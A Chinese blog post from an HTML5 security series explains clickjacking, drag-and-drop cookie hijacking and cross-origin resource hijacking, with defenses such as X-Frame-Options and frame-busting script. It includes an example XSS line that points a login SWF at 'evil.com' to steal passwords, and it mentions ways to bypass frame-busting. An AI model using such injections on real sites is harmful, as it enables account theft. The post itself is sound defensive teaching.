? ? ? 下面我們要講到一類的HTML5安全問題,也就是劫持的問題。
? ? ??一、**ClickJacking-點擊劫持**
? ? ??這種攻擊方式正變得越來越普遍。被攻擊的頁面作為iframe,用Mask的方式設置為透明放在上層,惡意代碼偷偷地放在后面的頁面中,使得一個頁面看起來似乎是安全的,然后誘騙用戶點擊網頁上的內容,達到竊取用戶信息或者劫持用戶操作的目的。下圖中,欺詐的頁面放置在下層,被攻擊的銀行頁面作為透明的層放置在上層,用戶看到的是欺詐頁面上顯示的信息并進行輸入和點擊,但是真正的用戶行為是發生在銀行頁面上的。

? ? ??想象一下,點擊劫持可以誘使你發布一條虛假微博、或者發送一封虛假郵件甚至盜取你的個人信息。例如下圖可以誘使我們發布一條虛假的Twitter消息。

? ? ??這里有一個測試工具[clickjacktest](http://www.protecht.ca/clickjacktest)可以檢測你的頁面是否有點擊劫持的風險,你可以輸入一個網址并點擊Test,如果頁面可以正常顯示并加載,那么表示這個頁面存在被點擊劫持攻擊的風險,如果頁面顯示為一片空白,那么表示頁面比較安全。

? ? ??二、**CookieJacking-Cookie劫持**
? ? ??ClickJacking只涉及點擊操作,但是HTML5的拖放API使得這種攻擊擴大到拖放操作。因為現在Web應用里,有大量需要用戶拖放完成的操作。在同源策略里,一個域的Cookie只能被本域所訪問,但是拖放操作是不受同源策略限制的,這樣利用拖放操作、XSS和其他技巧,可以構造跨域合法請求,劫持Cookie。

把Cookie從一個域拖拽到另外一個域里
? ? ??實現原理其實和ClickJacking類似,只要欺騙用戶進行拖放行為,就可以把用戶某個域的信息發送到另外一個域里。這個其實很容易做到,之前有一個研究者就在Facebook上建立了一個應用,這個應用的功能是讓用戶把圖片上美女的衣服拖拽下來。我想可能大多數人都會去嘗試而且不會有警惕心理。

一個誘騙拖放的小游戲
? ? ??我們應當如何防止ClickJacking、CookieJacking呢?
? ? ??1、X-Frame-Options:所有的現代瀏覽器都支持X-Frame-Options HTTP頭,這個頭允許頁面被iframe使用時是否正常渲染。下圖中的頁面就是當X-Frame-Options生效時的效果。

? ? ??2、Javascript方式
? ? ??這種方式非常常見,具體代碼就是:
~~~
if (top !==window)
top.location = window.location.href;
~~~
? ? ??Facebook和Twitter都使用了這種方式,但是這種方式并不是完全奏效的,例如攻擊者可以使用204轉向或者禁用Javascript的方式來繞過(例如iframe沙箱)。
? ? ??不過現在至少80%以上的網站都沒有注意到點擊劫持和cookie劫持的問題并加以保護。我這篇文章的主要目的就是提醒大家注意到這種隱蔽的攻擊方式并有針對性的進行防御。
? ? ??三、**CORJacking-跨域資源劫持**
? ? ??CORJacking是指跨源資源劫持。HTML5應用有各種不同的資源,例如Flash文件,Silverligh,視頻,音頻等,這些資源可以通過DOM訪問和控制。如果頁面存在XSS漏洞,那么攻擊者可能通過跨域資源的劫持進行攻擊。例如下面的代碼載入了一個swf文件,作為用戶登錄框,這里面我們可以實現一些加密的邏輯。
~~~
<object classid=“clsid:xxxxxxx-xxxx-xxxx-xxxxxx” id=“Login” width=“100%”height=“100%” codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab>
<param name=“movie”value=“Login.swf” />
<param name=“quality”value=“high” />
<embed src=“Login.swf”quality=“high” width=“50%” height=“50%”>
</object>
~~~
? ? ??當頁面存在XSS漏洞時,攻擊者可以利用如下腳本把swf文件替換為欺詐的虛假資源。
~~~
document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’;
~~~
? ? ??那么當用戶在這樣的登錄框里輸入自己的用戶名和密碼并登錄時,他的帳號就已經被盜取了。

? ? ??這個問題在不同瀏覽器里面表現是不一致的,有興趣的朋友可以下去自行測試。
? ? ??相關文章:
? ? ??《[關注HTML5安全風險](http://blog.csdn.net/hfahe/article/details/7960705)》
? ? ??《[HTML5安全風險詳析之一:CORS攻擊](http://blog.csdn.net/hfahe/article/details/7961566)》
? ? ??《[HTML5安全風險詳析之二:WebStorage攻擊](http://blog.csdn.net/hfahe/article/details/7961618)》
? ? ??《[HTML5安全風險詳析之三:WebSQL攻擊](http://blog.csdn.net/hfahe/article/details/8049414)》
? ? ??《[HTML5安全風險詳析之四:Web Worker攻擊](http://blog.csdn.net/hfahe/article/details/8104263)》
? ? ??本文為原創文章,轉載請注明:來自[蔣宇捷的博客](http://blog.csdn.net/hfahe):[http://blog.csdn.net/hfahe](http://blog.csdn.net/hfahe)
- 前言
- AutoPager的簡單實現
- 利用CSS3特性巧妙實現漂亮的DIV箭頭
- IE9在Win7下任務欄新特性簡介
- 瀏覽器九宮格的簡單實現
- Raphael js庫簡介
- 使用CSS3構建Ajax加載動畫
- 用CSS3創建動畫價格表
- 用CSS3實現瀏覽器的縮放功能
- 用純CSS3實現QQ LOGO
- 用CSS3創建旋轉載入器
- 使用Javascript開發移動應用程序
- 用HTML5創建超酷圖像灰度漸變效果
- 使用CSS3創建文字顏色漸變(CSS3 Text Gradient)
- 僅用CSS創建立體旋轉幻燈片
- 如何創建跨瀏覽器的HTML5表單
- 用CSS3實現動畫進度條
- HTML5 Guitar Tab Player
- 奇妙的HTML5 Canvas動畫實例
- 談HTML5和CSS3的國際化支持
- 實現跨瀏覽器的HTML5占位符
- 前端開發必備工具:WhatFont Bookmarklet-方便的查詢網頁上的字體
- 使用HTML5和CSS3來創建幻燈片
- HTML5之美
- 如何使用HTML5創建在線精美簡歷
- 以小見大、由淺入深-談如何面試Javascript工程師
- 快速入門:HTML5強大的Details元素
- 用CSS3實現圖像風格
- HTML5視頻字幕與WebVTT
- 用純CSS3實現Path華麗動畫
- 用3個步驟實現響應式網頁設計
- 遇見CSS3濾鏡
- 關于CSS3濾鏡的碎念
- 用純CSS3繪制萌系漫畫人物動態頭像
- CSS3新的鼠標樣式介紹
- 用HTML5獻上愛的3D玫瑰
- 對HTML5 Device API相關規范的解惑
- 如何使用HTML5實現拍照上傳應用
- 2012第一季度國外HTML5移動開發趨勢
- HTML5新特性:范圍樣式
- 百度開發者大會-《用HTML5新特性開發移動App》PPT分享
- Chrome 19對于HTML5最新支持的動態:電池狀態API,全屏API,震動API,語音API
- 遇見Javascript類型數組(Typed Array)
- 用HTML5 Audio API開發游戲音樂
- 用HTML5實現人臉識別
- 用Javascript實現人臉美容
- Chrome 20對于HTML5最新支持的動態:顏色輸入,網絡信息API,CSS著色器
- 用HTML5實現手機搖一搖的功能
- 用HTML5實現iPad應用無限平滑滾動
- 用非響應式設計構建跨端Web App
- 了解SVG
- HTML5圖像適配介紹
- HTML5安全:內容安全策略(CSP)簡介
- HTML5安全:CORS(跨域資源共享)簡介
- 用CSS3 Region和3D變換實現書籍翻頁效果
- 談談移動App的思維誤區
- Chrome新特性:文件夾拖拽支持
- 《關注HTML5安全》
- HTML5安全風險詳析之一:CORS攻擊
- HTML5安全風險詳析之二:Web Storage攻擊
- HTML5圖像適配最新進展:響應式圖片規范草案
- HTML5移動Web App相關標準狀態及路線圖
- HTML5安全風險詳析之三:WebSQL攻擊
- Chrome引入WebRTC支持視頻聊天App
- HTML5安全風險詳析之四:Web Worker攻擊
- HTML5安全風險詳析之五:劫持攻擊
- HTML5安全風險詳析之六:API攻擊
- HTML5安全攻防詳析之七:新標簽攻擊
- 在iOS Safari中播放離線音頻
- 使用WebRTC實現遠程屏幕共享
- Firefox、Android、iOS遇見WebRTC
- HTML5光線傳感器簡介
- HTML5安全攻防詳析之八:Web Socket攻擊
- HTML5安全攻防詳析之完結篇:HTML5對安全的改進
- 激動人心!在網頁上通過語音輸入文字 - HTML5 Web Speech API介紹
- Web滾動性能優化實戰
- 用CSS3設計響應式導航菜單
- 用HTML5構建高性能視差網站
- 漫談@supports與CSS3條件規則
- HTML5下載屬性簡介
- 如何開發優秀的HTML5游戲?-迪斯尼《尋找奧茲之路》游戲技術詳解(一)
- 如何開發優秀的HTML5游戲?-迪斯尼《尋找奧茲之路》游戲技術詳解(二)
- 趨勢:Chrome為打包應用提供強大新特性
- 從HTML5移動應用現狀談發展趨勢
- 基于HTML5的Web跨設備超聲波通信方案